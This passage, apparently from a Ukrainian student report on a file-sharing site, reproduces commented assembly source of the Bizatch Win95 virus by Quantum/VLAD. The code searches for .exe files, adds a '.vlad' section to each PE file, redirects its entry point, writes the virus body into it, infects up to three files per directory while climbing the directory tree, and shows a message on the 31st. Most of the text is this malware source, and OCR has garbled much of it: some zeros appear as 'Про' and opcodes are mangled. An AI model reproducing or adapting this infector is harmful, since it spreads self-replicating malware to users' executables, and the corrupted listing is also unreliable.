стр ЕАХ, -1

jz foundnothing

[Відкриємо файл для читання та запису
gofile:

push Про

push dword ptr [ebp + offset fileattr]; FILE_ATTRIBUTE_NORMAL

push 3; OPEN_EXISTING

push 0

push 0

push 80000000h +40000000 h; GENERIC_READ + GENERIC_WRITE

lea eax, [ebp + offset fullname]

push eax

call CreateFile

. Збережемо описувач файлу

mov dword ptr [ebp + offset ahandj.eax

Перевіримо, не відбулася чи помилка.
. Якщо помилка сталася, шукаємо Наступне фото

стр ЕАХ, -1

jz findnextone

. Поставимо покажчик позиції читання / запису на полі
; Зі зміщенням РЕ-заголовка

push Про

push Про

push 3Ch

push dword ptr [ebp + offset ahand]

call SetFilePointer

; Вважаємо адресу РЕ-заголовка
push Про

lea eax, [ebp + offset bytesread]
push eax
push 4

lea eax, [ebp + offset peheaderoffset]
push eax

push dword ptr [ebp + offset ahand]
call ReadFile

. Поставимо покажчик позиції читання / запису на початок РЕ-заголовка
push Про
push Про

push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; Вважаємо число байт, достатню для обчислення повного розміру
; РЕ-заголовка і таблиці об'єктів

push Про

lea eax, [ebp + offset bytesread]

push eax

push 58h

lea eax, [ebp + offset peheader]

push eax

push dword ptr [ebp + offset ahand]

call ReadFile

[Перевіримо сигнатуру. Якщо її немає, закриваємо
; Цей файл і шукаємо наступний

cmp dword ptr [ebp + offset peheader], 00004550h;

jnz notape

. Перевіримо файл на зараженість. Якщо файл заражений,
; То закриваємо цей файл і шукаємо наступний

cmp word ptr [ebp + offset peheader +4 ch], OFOODh

jz notape

cmp dword ptr [ebp + offset 52], 4000000h

jz notape

[Поставимо покажчик позиції читання / запису на початок РЕ-заголовка
push Про
push Про

push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

; Вважаємо весь РЕ-заголовок і таблицю об'єктів
push Про

lea eax, [ebp + offset bytesread]
push eax

push dword ptr [ebp + offset headersize]
lea eax, [ebp + offset peheader]
push eax

push dword ptr [ebp + offset ahand]
call ReadFile

[Встановимо ознака зараження

mov word ptr [ebp + offset peheader +4 ch], OFOODh

[Знайдемо зсув таблиці об'єктів
xor eax.eax

mov ax, word ptr [ebp + offset NtHeaderSize]
add eax, 18h
mov dword ptr [ebp + offset ObjectTableoffset], eax

[Обчислимо зсув останнього (null) об'єкта в таблиці об'єктів
mov esi, dword ptr [ebp + offset ObjectTableoffset]
lea eax, [ebp + offset peheader]
add esi, eax
xor eax.eax

mov ax, [ebp + offset numObj]
mov ecx.40

xor edx.edx

mul ecx

add esi.eax

; Збільшимо число об'єктів на 1

inc word ptr [ebp + offset numObj]

lea edi, [ebp + offset newobject]

xchg edi.esi

; Обчислимо відносний віртуальний адреса (Relative Virtual Address
; Або RVA) нового об'єкта

mov eax, [edi-5 * 8 +8]

add eax, [edi-5 * 8 + 12]

mov ecx.dword ptr [ebp + offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp + offset RVA], eax

; Обчислимо фізичний розмір нового об'єкта
mov ecx.dword ptr [ebp + offset filealign]
mov eax.vend-vstart
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset physicalsize], eax

. Обчислимо віртуальний розмір нового об'єкта
mov ecx.dword ptr [ebp + offset objalign]
mov eax.vend-vstart + tOOOh
xor edx.edx
div ecx
inc eax
mul ecx
mov dword ptr [ebp + offset virtualsize], eax

; Обчислимо фізичне усунення нового об'єкта
mov eax, [edi-5 * 8 +20]
add eax, [edi-5 * 8 +16]
mov ecx.dword ptr [ebp + offset filealign]
xor edx.edx
div ecx

inc eax

mul ecx

mov dword ptr [ebp + offset physicaloffset], eax

[Оновимо розмір образу (розмір в пам'яті) файлу

mov eax, vend-vstart +1000 h

add eax, dword ptr [ebp + offset imagesize]

mov ecx, [ebp + offset objalign]

xor edx.edx

div ecx

inc eax

mul ecx

mov dword ptr [ebp + offset imagesize], eax

. Скопіюємо новий об'єкт в таблицю об'єктів

mov ecx, 10

rep movsd

[Обчислимо точку входу RVA

mov eax.dword ptr [ebp + offset RVA]

mov ebx.dword ptr [ebp + offset entrypointRVA]

mov dword ptr [ebp + offset entrypointRVA], eax

sub eax.ebx

add eax, 5

[Встановимо значення, необхідне для повернення в носій
mov dword ptr [ebp + offset subme], eax

[Поставимо покажчик позиції читання / запису на початок РЕ-заголовка
push Про
push Про

push dword ptr [ebp + offset peheaderoffset]
push dword ptr [ebp + offset ahand]
call SetFilePointer

[Запишемо РЕ-заголовок і таблицю об'єктів в файл
push Про

lea eax, [ebp + offset bytesread]
push eax

push dword ptr [ebp + offset headersize]
lea eax, [ebp + offset peheader]
push eax

push dword ptr [ebp + offset ahand]
call WriteFile

[Збільшимо лічильник заражень

inc byte ptr [ebp + offset countinfect]

[Поставимо покажчик позиції читання / запису
; З фізичного зміщення нового об'єкта

push Про

push Про

push dword ptr [ebp + offset physicaloffset]

push dword ptr [ebp + offset ahand]

call SetFilePointer

; 3апішем тіло вірусу в новий об'єкт
push Про

lea eax, [ebp + offset bytesread]
push eax

push vend-vstart
lea eax, [ebp + offset vstart]
push eax

push dword ptr [ebp + offset ahand]
call WriteFile

[Закриємо файл
notape:

push dword ptr [ebp + offset ahand]

call CloseFile

[Перехід до наступного файлу
findnextone:

[Перевіримо, скільки файлів заразили: якщо 3,
; То виходимо, якщо менше - шукаємо наступний

cmp byte ptr [ebp + offset countinfect], 3

jz outty

; Шукаємо Наступне фото

lea eax, [ebp + offset win32_data_thang]
push eax

push dword ptr [ebp + offset searchhandle]
call FindNext

. Якщо файл знайдений, переходимо до зараження
or eax.eax
jnz gofile

; Сюди потрапляємо, якщо файл не знайдений
foundnothing:

; Змінимо директорію
хог еах.еах

lea edi, [ebp + offset tempdir]
mov ecx, 256 / 4
rep stosd

lea edi, [ebp + offset tempdirl]
mov ecx.256 / 4
rep stosd

Отримаємо поточну директорію
lea esi, [ebp + offset tempdir]
push esi
push 255
call GetCurDir

. Змінимо директорію на "."

lea eax, [ebp + offset dotdot]

push eax

call SetCurDir

; Отримаємо поточну директорію
lea edi, [ebp + offset tempdirl]
push edi
push 255
call GetCurDir

Перевіримо, коренева чи це директорія. Якщо так, то виходимо
mov есх.256 / 4
rep cmpsd
jnz infectdir

; "3аметаем сліди" і виходимо в програму-носій
outty:

; Повернімося в оригінальну поточну директорію
lea eax, [ebp + offset orgdir]
push eax
call SetCurDir

Отримаємо поточну дату і час

lea eax, [ebp + offset systimestruct]

push eax
call GetTime

Перевіримо число. Якщо це 31-е, видаємо повідомлення
cmp word ptr [ebp + offset day], 31
jnz nopayload

. Повідомлення для користувача

push 1000h; MB_SYSTEMMODAL

lea eax, [ebp + offset boxtitle]

push eax

lea eax, [ebp + offset boxmsg]

push eax

push 0

call MsgBox

; Вихід в програму-носій
nopayload:

pop eax

jmp eax

; Коли KERNEL буде виявлений, його зміщення буде записано
kern dd OBFF93B95h

; 3наченія KERNEL, відомі нам
kern1 dd OBFF93B95h
kern2 dd OBFF93C1Dh

; Читання поточної директорії
GetCurDir:

; 3апішем в стек значення для отримання поточної
директорії і викличемо KERNEL

push OBFF77744h

jmp [ebp + offset kern]

. Установка поточної директорії
SetCurDir:

; 3апішем в стек значення для встановлення поточної
директорії і викличемо KERNEL

push OBFF7771Dh

jmp [ebp + offset kern]

[Отримання часу і дати
GetTime:

Перевіримо, який KERNEL працює
cmp [ebp + offset kern], OBFF93B95h
jnz gettimekern2

; 3апішем в стек значення для отримання
; Часу і дати і викличемо KERNEL

push OBFF9DOB6h

jmp [ebp + offset kern]
gettimekern2:

; 3апішем в стек значення для отримання
; Часу і дати і викличемо KERNEL

push OBFF9D-l4Eh

jmp [ebp + offset kern]

; Висновок повідомлення
MsgBox:

. Запишемо в стек значення для виведення повідомлення і викличемо KERNEL
push OBFF638D9h
jmp [ebp + offset kern]

. Пошук першого файлу
FindFile:

; 3апішем в стек значення для пошуку першого файлу
; І викличемо KERNEL

push OBFF77893h

jmp [ebp + offset kern]

; Пошук наступного файлу
FindNext:

; 3апішем в стек значення для пошуку
[Наступного файлу і викличемо KERNEL

push OBFF778CBh

jmp [ebp + offset kern]

[Відкриття / створення файлу
CreateFile:

; 3апішем в стек значення для відкриття / створення файлу
; І викличемо KERNEL

push OBFF77817h

jmp [ebp + offset kern]

[Установлення покажчика читання / запису
SetFilePointer:

; 3апішем в стек значення для встановлення
. Покажчика читання / запису файлу і викличемо KERNEL

push OBFF76FAOh

jmp [ebp + offset kern]

; Читання з файлу
ReadFile:

; 3апішем в стек значення для читання з файлу і викличемо KERNEL
push OBFF75806h
jmp [ebp + offset kern]

; 3апісь в файл
WriteFile:

; 3апішем в стек значення для запису у файл і викличемо KERNEL
push OBFF7580Dh
jmp [ebp + offset kern]

; 3акритіе файлу
CloseFile:

; 3апішем в стек значення для закриття файлу і викличемо KERNEL
push OBFF7BC72h
jmp [ebp + offset kern]

; Лічильник заражень
countinfect db 0

Використовується для пошуку файлів
win32_data_thang:

fileattr dd 0
createtime dd 0,0
lastaccesstime dd 0,0
lastwritetime dd 0,0
filesize dd 0,0

resv dd 0,0

fullname db 256 dup (0)

realname db 256 dup (0)

; Ім'я повідомлення, що виводиться 31-го числа
boxtitle db "Bizatch by Quantum / VLAD", 0

.- Повідомлення, виведене 31-го числа
boxmsg db "The taste of fame just got tastier!", Odh

db "VLAD Australia does it again with the world" s first Win95 Virus "

db Odh.Odh

db 9. "From the old school to the new.". Odh.Odh

db 9, "Metabolis", Odh

db 9, "Qark", Odh

db 9, "Darkman", Odh

db 9, "Quantum", Odh

db 9, "CoKe", 0
messagetostupidavers db "Please note: the name of this virus is [Bizatch]"

db "written by Quantum of VLAD", 0

Дані про директоріях
orgdir db 256 dup (0)
tempdir db 256 dup (0)
tempdirl db 256 dup (0)

Використовується для зміни директорії
dotdot db ".", 0

Використовується для отримання часу / дати
systimestruct:

dw 0,0,0
day dw 0

dw 0,0,0,0

; Індекс для пошуку файлів
searchhandle dd Про

; Маска для пошуку
fname db "*. exe", 0

; Описувач відкритого файлу
ahand dd Про

; Зсув РЕ-заголовка у файлі
peheaderoffset dd Про

[Зсув таблиці об'єктів
ObjectTableoffset dd Про

[Кількість записаних / лічених байт при роботі з файлом
bytesread dd Про

. Новий об'єкт
newobject:

oname db ". vlad", 0,0,0
virtualsize dd 0
RVA dd 0

physicalsize dd 0
physicaloffset dd 0
reserved dd 0,0,0
objectflags db 40h, 0,0, OCOh

Дані, необхідні для зараження файла
peheader:

signature dd 0
cputype dw 0
numObj dw 0
db 3 * 4 dup (0)
NtHeaderSize dw 0
Flags dw 0
db 4 * 4 dup (0)
entrypointRVA dd 0
db 3 * 4 dup (0)
objalign dd 0
filealign dd 0
db 4 * 4 dup (0)
imagesize dd 0
headersize dd 0

; 0бласть пам'яті для читання залишку РЕ-заголовка і таблиці об'єктів
vend:

db-lOOOh dup (0)
ends
end vstart


Додати в блог або на сайт

Цей текст може містити помилки.

Програмування, комп'ютери, інформатика і кібернетика | Доповідь
69кб. | скачати


Схожі роботи:
Віруси проти технології NX в Windows XP SP2
Текстовий редактор під Windows
Під єднання до Інтернету за допомогою Windows 95 Dial-up Networking
Усунення неполадок під час відсутності на контролерах домену Windows 2000 загальних папок SYSVOL і NETLOGON
Робота з гарячими клавішами в ОС Windows Призначення гарячих клавіш в ОС WINDOWS -функції
Пошук даних в ОС Windows Основні прийоми роботи із пошуком в ОС WINDOWS
Операційні системи WINDOWS NT NetWare UNIX Оперцiйна система Windows NT
Налаштування локальної мережі і підключення до мережі інтернет для Windows XP і Windows 7
Панель керування в ОС Windows Панель управління пристороями Пк у середовищі Windows
© Усі права захищені
написати до нас